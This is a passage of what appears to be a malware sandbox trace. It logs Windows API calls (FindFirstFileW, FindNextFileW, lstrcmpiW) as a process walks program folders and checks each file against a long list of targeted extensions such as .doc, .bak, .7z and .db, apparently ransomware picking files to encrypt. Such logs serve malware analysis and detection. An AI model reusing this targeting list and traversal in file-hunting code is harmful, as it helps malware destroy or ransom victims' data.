cAlternateFileName="TOASTB~1.XML")) returned 1 [0183.397] lstrlenW (lpString="toastbeginupgrade.xml") returned 21 [0183.397] lstrlenW (lpString=".1cd") returned 4 [0183.397] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0183.397] lstrlenW (lpString=".3ds") returned 4 [0183.397] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0183.397] lstrlenW (lpString=".3fr") returned 4 [0183.397] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0183.397] lstrlenW (lpString=".3g2") returned 4 [0183.397] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0183.397] lstrlenW (lpString=".3gp") returned 4 [0183.397] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0183.397] lstrlenW (lpString=".7z") returned 3 [0183.397] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0183.397] lstrlenW (lpString=".accda") returned 6 [0183.397] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1 [0183.397] lstrlenW (lpString=".accdb") returned 6 [0183.397] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1 [0183.397] lstrlenW (lpString=".accdc") returned 6 [0183.397] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1 [0183.398] lstrlenW (lpString=".accde") returned 6 [0183.398] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1 [0183.398] lstrlenW (lpString=".accdt") returned 6 [0183.398] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1 [0183.398] lstrlenW (lpString=".accdw") returned 6 [0183.398] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1 [0183.398] lstrlenW (lpString=".adb") returned 4 [0183.398] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0183.398] lstrlenW (lpString=".adp") returned 4 [0183.398] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0183.398] lstrlenW (lpString=".ai") returned 3 [0183.398] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0183.398] lstrlenW (lpString=".ai3") returned 4 [0183.398] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0183.398] lstrlenW (lpString=".ai4") returned 4 [0183.398] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0183.398] lstrlenW (lpString=".ai5") returned 4 [0183.398] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0183.398] lstrlenW (lpString=".ai6") returned 4 [0183.398] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0183.398] lstrlenW (lpString=".ai7") returned 4 [0183.398] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0183.398] lstrlenW (lpString=".ai8") returned 4 [0183.398] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0183.398] lstrlenW (lpString=".anim") returned 5 [0183.398] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1 [0183.398] lstrlenW (lpString=".arw") returned 4 [0183.398] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0183.398] lstrlenW (lpString=".as") returned 3 [0183.398] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0183.398] lstrlenW (lpString=".asa") returned 4 [0183.398] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0183.398] lstrlenW (lpString=".asc") returned 4 [0183.398] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0183.399] lstrlenW (lpString=".ascx") returned 5 [0183.399] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1 [0183.399] lstrlenW (lpString=".asm") returned 4 [0183.399] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0183.399] lstrlenW (lpString=".asmx") returned 5 [0183.399] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1 [0183.399] lstrlenW (lpString=".asp") returned 4 [0183.399] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0183.399] lstrlenW (lpString=".aspx") returned 5 [0183.399] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1 [0183.399] lstrlenW (lpString=".asr") returned 4 [0183.399] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0183.399] lstrlenW (lpString=".asx") returned 4 [0183.399] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0183.399] lstrlenW (lpString=".avi") returned 4 [0183.399] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0183.399] lstrlenW (lpString=".avs") returned 4 [0183.399] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0183.399] lstrlenW (lpString=".backup") returned 7 [0183.399] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1 [0183.399] lstrlenW (lpString=".bak") returned 4 [0183.399] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0183.399] lstrlenW (lpString=".bay") returned 4 [0183.399] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0183.399] lstrlenW (lpString=".bd") returned 3 [0183.399] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0183.399] lstrlenW (lpString=".bin") returned 4 [0183.399] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0183.399] lstrlenW (lpString=".bmp") returned 4 [0183.399] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0183.399] lstrlenW (lpString=".bz2") returned 4 [0183.399] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0183.399] lstrlenW (lpString=".c") returned 2 [0183.399] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0183.400] lstrlenW (lpString=".cdr") returned 4 [0183.400] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0183.400] lstrlenW (lpString=".cer") returned 4 [0183.400] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0183.400] lstrlenW (lpString=".cf") returned 3 [0183.400] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0183.400] lstrlenW (lpString=".cfc") returned 4 [0183.400] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0183.400] lstrlenW (lpString=".cfm") returned 4 [0183.400] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0183.400] lstrlenW (lpString=".cfml") returned 5 [0183.400] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1 [0183.400] lstrlenW (lpString=".cfu") returned 4 [0183.400] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0183.400] lstrlenW (lpString=".chm") returned 4 [0183.400] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0183.400] lstrlenW (lpString=".cin") returned 4 [0183.400] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0183.400] lstrlenW (lpString=".class") returned 6 [0183.400] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1 [0183.400] lstrlenW (lpString=".clx") returned 4 [0183.400] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0183.400] lstrlenW (lpString=".config") returned 7 [0183.400] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1 [0183.400] lstrlenW (lpString=".cpp") returned 4 [0183.400] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0183.400] lstrlenW (lpString=".cr2") returned 4 [0183.400] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0183.400] lstrlenW (lpString=".crt") returned 4 [0183.401] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0183.401] lstrlenW (lpString=".crw") returned 4 [0183.401] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0183.401] lstrlenW (lpString=".cs") returned 3 [0183.401] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0183.401] lstrlenW (lpString=".css") returned 4 [0183.401] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0183.401] lstrlenW (lpString=".csv") returned 4 [0183.401] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0183.401] lstrlenW (lpString=".cub") returned 4 [0183.401] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0183.401] lstrlenW (lpString=".dae") returned 4 [0183.401] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0183.401] lstrlenW (lpString=".dat") returned 4 [0183.401] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0183.401] lstrlenW (lpString=".db") returned 3 [0183.401] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0183.401] lstrlenW (lpString=".dbf") returned 4 [0183.401] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0183.401] lstrlenW (lpString=".dbx") returned 4 [0183.401] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0183.401] lstrlenW (lpString=".dc3") returned 4 [0183.401] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0183.401] lstrlenW (lpString=".dcm") returned 4 [0183.401] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0183.401] lstrlenW (lpString=".dcr") returned 4 [0183.401] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0183.401] lstrlenW (lpString=".der") returned 4 [0183.401] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0183.401] lstrlenW (lpString=".dib") returned 4 [0183.401] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0183.401] lstrlenW (lpString=".dic") returned 4 [0183.401] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0183.401] lstrlenW (lpString=".dif") returned 4 [0183.402] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0183.402] lstrlenW (lpString=".divx") returned 5 [0183.402] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1 [0183.402] lstrlenW (lpString=".djvu") returned 5 [0183.402] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1 [0183.402] lstrlenW (lpString=".dng") returned 4 [0183.402] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0183.402] lstrlenW (lpString=".doc") returned 4 [0183.402] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0183.402] lstrlenW (lpString=".docm") returned 5 [0183.402] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1 [0183.402] lstrlenW (lpString=".docx") returned 5 [0183.402] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0183.402] lstrlenW (lpString=".dot") returned 4 [0183.402] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0183.402] lstrlenW (lpString=".dotm") returned 5 [0183.402] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1 [0183.402] lstrlenW (lpString=".dotx") returned 5 [0183.402] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1 [0183.402] lstrlenW (lpString=".dpx") returned 4 [0183.402] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0183.402] lstrlenW (lpString=".dqy") returned 4 [0183.402] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0183.402] lstrlenW (lpString=".dsn") returned 4 [0183.402] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0183.402] lstrlenW (lpString=".dt") returned 3 [0183.402] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0183.402] lstrlenW (lpString=".dtd") returned 4 [0183.402] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0183.402] lstrlenW (lpString=".dwg") returned 4 [0183.403] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0183.403] lstrlenW (lpString=".dwt") returned 4 [0183.403] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0183.403] lstrlenW (lpString=".dx") returned 3 [0183.403] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0183.403] lstrlenW (lpString=".dxf") returned 4 [0183.418] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0183.418] lstrlenW (lpString=".edml") returned 5 [0183.418] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1 [0183.418] lstrlenW (lpString=".efd") returned 4 [0183.418] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0183.418] lstrlenW (lpString=".elf") returned 4 [0183.418] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0183.418] lstrlenW (lpString=".emf") returned 4 [0183.418] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0183.418] lstrlenW (lpString=".emz") returned 4 [0183.418] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0183.418] lstrlenW (lpString=".epf") returned 4 [0183.418] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0183.418] lstrlenW (lpString=".eps") returned 4 [0183.418] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0183.418] lstrlenW (lpString=".epsf") returned 5 [0183.418] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1 [0183.418] lstrlenW (lpString=".epsp") returned 5 [0183.418] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1 [0183.418] lstrlenW (lpString=".erf") returned 4 [0183.418] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0183.418] lstrlenW (lpString=".exr") returned 4 [0183.418] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0183.418] lstrlenW (lpString=".f4v") returned 4 [0183.418] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0183.418] lstrlenW (lpString=".fido") returned 5 [0183.418] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1 [0183.418] lstrlenW (lpString=".flm") returned 4 [0183.419] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0183.419] lstrlenW (lpString=".flv") returned 4 [0183.419] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0183.419] lstrlenW (lpString=".frm") returned 4 [0183.419] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0183.419] lstrlenW (lpString=".fxg") returned 4 [0183.419] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0183.419] lstrlenW (lpString=".geo") returned 4 [0183.419] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0183.419] lstrlenW (lpString=".gif") returned 4 [0183.419] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0183.419] lstrlenW (lpString=".grs") returned 4 [0183.419] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0183.419] lstrlenW (lpString=".gz") returned 3 [0183.419] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0183.419] lstrlenW (lpString=".h") returned 2 [0183.419] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0183.419] lstrlenW (lpString=".hdr") returned 4 [0183.419] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0183.419] lstrlenW (lpString=".hpp") returned 4 [0183.419] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0183.419] lstrlenW (lpString=".hta") returned 4 [0183.419] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0183.419] lstrlenW (lpString=".htc") returned 4 [0183.419] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0183.419] lstrlenW (lpString=".htm") returned 4 [0183.420] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0183.420] lstrlenW (lpString="toastbeginupgradeth2.xml") returned 24 [0183.420] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0183.420] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0183.420] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0183.421] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0183.421] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c098ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-HK", cAlternateFileName="")) returned 1 [0183.421] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0183.421] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c098ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484d18 [0183.422] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c098ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0183.422] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0183.422] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0183.423] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0183.423] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0183.423] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0183.423] FindClose (in: hFindFile=0x484d18 | out: hFindFile=0x484d18) returned 1 [0183.424] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0183.424] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c0b4b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ID", cAlternateFileName="")) returned 1 [0183.424] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0183.424] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c0b4b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0183.425] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c0b4b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0183.425] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0183.425] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0183.425] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0183.425] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0183.426] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0183.426] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0183.426] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0183.426] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c6d3fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-IE", cAlternateFileName="")) returned 1 [0183.426] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0183.427] FindFirstFileW (in: lpFileName="C:\\Program 